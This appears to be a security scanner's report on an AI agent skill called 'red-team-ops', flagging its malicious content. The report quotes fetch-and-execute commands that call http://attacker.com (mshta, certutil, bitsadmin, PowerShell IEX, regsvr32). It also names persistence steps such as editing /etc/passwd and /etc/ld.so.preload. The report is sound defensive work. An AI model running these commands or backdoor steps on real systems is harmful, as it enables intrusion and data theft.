red-team-ops

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These are direct links to executable/script payloads hosted on an attacker-controlled domain and are referenced in commands that download/execute them—classic high-risk indicators of malicious distribution.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This document is an explicit offensive "red team" playbook providing step‑by‑step instructions to establish C2, persistence, privilege escalation, credential theft, defense evasion, and data exfiltration — i.e., deliberate malicious/backdoor behavior.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). This skill includes commands that, at runtime, fetch and immediately execute remote content (e.g., mshta http://attacker.com/payload.hta; certutil/bitsadmin downloading http://attacker.com/payload.exe; powershell IEX('http://attacker.com/script.ps1'); and regsvr32/mshta calls to http://attacker.com/payload.sct), which directly executes external code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill contains explicit instructions to modify system files and settings that require root/sudo and to create persistent backdoors (e.g., add users to /etc/passwd, write to /etc/ld.so.preload, create systemd services, add SYSTEM scheduled tasks), so it directly pushes compromising the host state.